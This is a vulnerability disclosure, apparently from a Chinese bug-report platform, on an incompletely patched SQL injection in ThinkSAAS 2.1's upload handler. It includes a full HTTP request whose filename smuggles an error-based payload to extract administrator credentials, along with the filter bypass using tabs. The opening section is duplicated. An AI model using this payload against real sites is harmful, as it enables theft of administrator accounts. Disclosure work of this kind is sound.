### 简要描述: thinksaas最新版2.1某处sql注入修补不完善,继续注入。 ### 详细说明: Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。 说到无视GPC,大家想到什么。Get、Post、Cookie请求不好用的时候,还能用到什么? 当然是SERVER或FILE。 这个cms在全局文件中使用了addslashes对GET、POST、COOKIE进行了过滤,而且在操作数据库的函数中,在where的位置又用了mysql_real_escape_string,所以使得游戏变得很难。 出问题的地方在会员上传资料处/app/attach/action/upload.php,这是上传资料处代码: ``` ...30行 case "do": $userid = intval($_GET['userid']); $albumid = intval($_GET['albumid']); if($userid=='0' || $albumid == 0){ echo '00000'; exit; } $attachid = $new['attach']->create('attach',array( 'userid'=> $userid, 'locationid'=>aac('user')->getLocationId($userid), 'albumid'=>$albumid, 'addtime'=> date('Y-m-d H:i:s'), )); //上传 $arrUpload = tsUpload($_FILES['Filedata'],$attachid,'attach',array('pptx','docx','pdf','jpg','gif','png','rar','zip','doc','ppt','txt')); if($arrUpload){ $new['attach']->update('attach',array( 'attachid'=>$attachid, ),array( 'attachname'=>$arrUpload['name'], 'attachtype'=>$arrUpload['type'],...
### 简要描述: thinksaas最新版2.1某处sql注入修补不完善,继续注入。 ### 详细说明: Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。 说到无视GPC,大家想到什么。Get、Post、Cookie请求不好用的时候,还能用到什么? 当然是SERVER或FILE。 这个cms在全局文件中使用了addslashes对GET、POST、COOKIE进行了过滤,而且在操作数据库的函数中,在where的位置又用了mysql_real_escape_string,所以使得游戏变得很难。 出问题的地方在会员上传资料处/app/attach/action/upload.php,这是上传资料处代码: ``` ...30行 case "do": $userid = intval($_GET['userid']); $albumid = intval($_GET['albumid']); if($userid=='0' || $albumid == 0){ echo '00000'; exit; } $attachid = $new['attach']->create('attach',array( 'userid'=> $userid, 'locationid'=>aac('user')->getLocationId($userid), 'albumid'=>$albumid, 'addtime'=> date('Y-m-d H:i:s'), )); //上传 $arrUpload = tsUpload($_FILES['Filedata'],$attachid,'attach',array('pptx','docx','pdf','jpg','gif','png','rar','zip','doc','ppt','txt')); if($arrUpload){ $new['attach']->update('attach',array( 'attachid'=>$attachid, ),array( 'attachname'=>$arrUpload['name'], 'attachtype'=>$arrUpload['type'], 'attachurl'=>$arrUpload['url'], 'attachsize'=>$arrUpload['size'], )); //对积分进行处理 aac('user')->doScore($app,$ac,$ts,$userid); } echo $attachid; break; ``` 首先获取userid、albumid(这里还存在一个平衡权限问题,这算另一个漏洞),然后使用tsUpload函数对文件进行上传。$_FILES['Filedata']是上传表单的名字。 我们进入这个函数: ``` /** * ThinkSAAS专用上传函数 * @param unknown $files要上传的文件 如$_FILES['photo'] * @param unknown $projectid上传针对的项目id 如$userid * @param unknown $dir上传到目录 如 user * @param unknown $uptypes上传类型,数组 array('jpg','png','gif') * @return multitype:string unknown mixed |boolean返回数组:array('name'=>'','path'=>'','url'=>'','path'=>'','size'=>'') */ function tsUpload($files, $projectid, $dir, $uptypes) { if ($files ['size'] > 0) { $menu2 = intval ( $projectid / 1000 ); $menu1 = intval ( $menu2 / 1000 ); $path = $menu1 . '/' . $menu2; $dest_dir = 'uploadfile/' . $dir . '/' . $path; createFolders ( $dest_dir ); //$ext = pathinfo($files['name'],PATHINFO_EXTENSION); $arrType = explode ( '.', strtolower ( $files ['name'] ) ); // 转小写一下 $type = array_pop ( $arrType ); if (in_array ( $type, $uptypes )) { $name = $projectid . '.' . $type; $dest = $dest_dir . '/' . $name; // 先删除 unlink ( $dest ); // 后上传 move_uploaded_file ( $files ['tmp_name'], mb_convert_encoding ( $dest, "gb2312", "UTF-8" ) ); chmod ( $dest, 0777 ); $filesize = filesize ( $dest ); if (intval ( $filesize ) > 0) { return array ( 'name' => tsFilter($files ['name']), 'path' => $path, 'url' => $path . '/' . $name, 'type' => $type, 'size' => $files ['size'] ); } else { return false; } } else { return false; } } } ``` 重点看到return array 那里,由后面的代码可知,这里返回的一个数组,之后用它就更新数据库(update)。第一个元素是’name’,也就是我们上传的文件名。 有一个过滤的函数tsFilter,我们打开看看: ``` /** * 针对特殊字符或者内容的特殊过滤 * @param unknown $value * @return Ambigous <string, mixed> */ function tsFilter($value){ $value = trim($value); //定义不允许提交的SQl命令和关键字 $words = array(); $words[] = "add "; $words[] = "and "; $words[] = "count "; $words[] = "order "; $words[] = "table "; $words[] = "by "; $words[] = "create "; $words[] = "delete "; $words[] = "drop "; $words[] = "from "; $words[] = "grant "; $words[] = "insert "; $words[] = "select "; $words[] = "truncate "; $words[] = "update "; $words[] = "use "; $words[] = "--"; $words[] = "#"; $words[] = "group_concat"; $words[] = "column_name"; $words[] = "information_schema.columns"; $words[] = "table_schema"; $words[] = "union "; $words[] = "where "; $words[] = "alert"; $value = strtolower($value);//转换为小写 foreach($words as $word){ if(strstr($value,$word)){ $value = str_replace($word,'',$value); } } return $value; } ``` 看起来过滤了很多很多注入需要的关键字……可是仔细一看,过滤的是类似“select ”这种,关键字后面加了个空格。只要没有这个空格,我们还是能轻松注入。 那么空格用什么代替?第一想到/**/,但这个cms中/会把句子截断,所以不好用(具体为什么查看其他代码)。第二个想到制表符,它能完美代替空格。 回到第一段代码中,我们看到它把获得的name直接作为attachname带入update函数。 $new['attach']->update('attach',array( 'attachid'=>$attachid, ),array( 'attachname'=>$arrUpload['name'], 'attachtype'=>$arrUpload['type'], 'attachurl'=>$arrUpload['url'], 'attachsize'=>$arrUpload['size'], )); 我们来看看update函数: ``` public function update($table, $conditions, $row) { $where = ""; if (empty ( $row )) return FALSE; if (is_array ( $conditions )) { $join = array (); foreach ( $conditions as $key => $condition ) { $condition = $this->escape ( $condition ); $join [] = "{$key} = {$condition}"; } $where = "WHERE " . join ( " AND ", $join ); } else { if (null != $conditions) $where = "WHERE " . $conditions; } foreach ( $row as $key => $value ) { $vals [] = "`$key` = '$value'"; } $values = join ( ", ", $vals ); $sql = "UPDATE " . dbprefix . "{$table} SET {$values} {$where}"; //echo $sql;exit; return $this->db->query ( $sql ); } ``` 我们可以看到,where的位置使用escape函数,其实里面就是一个mysql_real_escape_string,但我们的注入点在'attachname'=’这个位置’,不在where里,所以不用担心。 这个注入为update型注入,因为之前过滤了注释符,所以不好更新信息。不过可以通过报错的方式把管理员账号密码爆出来,这个cms还有一个特点,它虽然不会显示mysql错误,但会把错误保存在/logs/文件夹里,名字就是日期+-mysql-error.txt。这样,我们就可以看到mysql的报错信息,从而爆出得到管理员账号密码。 ### 漏洞证明: 虽然在会员中心,但这个点不用注册即可触发。 我在本地搭建一个最新版本v2.1 [<img src="https://images.seebug.org/upload/201402/16185607ed07aff17437fa2ef50252e31bd3218c.jpg" alt="001.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/16185607ed07aff17437fa2ef50252e31bd3218c.jpg) 向其发送如下数据包: POST /think/index.php?app=attach&ac=upload&ts=do&userid=1&albumid=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------12264161285866 Content-Length: 375 -----------------------------12264161285866 Content-Disposition: form-data; name="Filedata"; filename="abb',a=(select1 from(selectcount(*),concat((selectconcat(email,0x23,pwd,0x23,salt) fromts_userlimit0,1),floor(rand(0)*2))x frominformation_schema.tablesgroupbyx)p),b='.txt" Content-Type: text/plain let's go~ -----------------------------12264161285866-- 注意,filename中都是制表符而不是空格。 返回数据包似乎很正常: [<img src="https://images.seebug.org/upload/201402/16185641bd161014bde767d1544a5f6c0bbae21a.jpg" alt="002.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/16185641bd161014bde767d1544a5f6c0bbae21a.jpg) 不过我们查看logs目录下的错误文件,因为今天是20140216,所以访问/logs/20140216-mysql-error.txt: [<img src="https://images.seebug.org/upload/201402/16185701b551716990b8652283922eb3dc2f7003.jpg" alt="003.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/16185701b551716990b8652283922eb3dc2f7003.jpg) 已看到,第一个是管理员邮箱,第二个是密码,第三个是salt。但salt不全(应该限制了长度?),再单独打一次salt即可。 后来我看到xfkxfk大牛曾经发的sql注入, [WooYun: ThinkSAAS SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-048060) ,原来这个地方曾经修补过,就是增加了tsFilter函数过滤了一些常见关键字(包括注释符,弄得很蛋疼),但过滤的并不干净才又产生了这个问题,继续注入。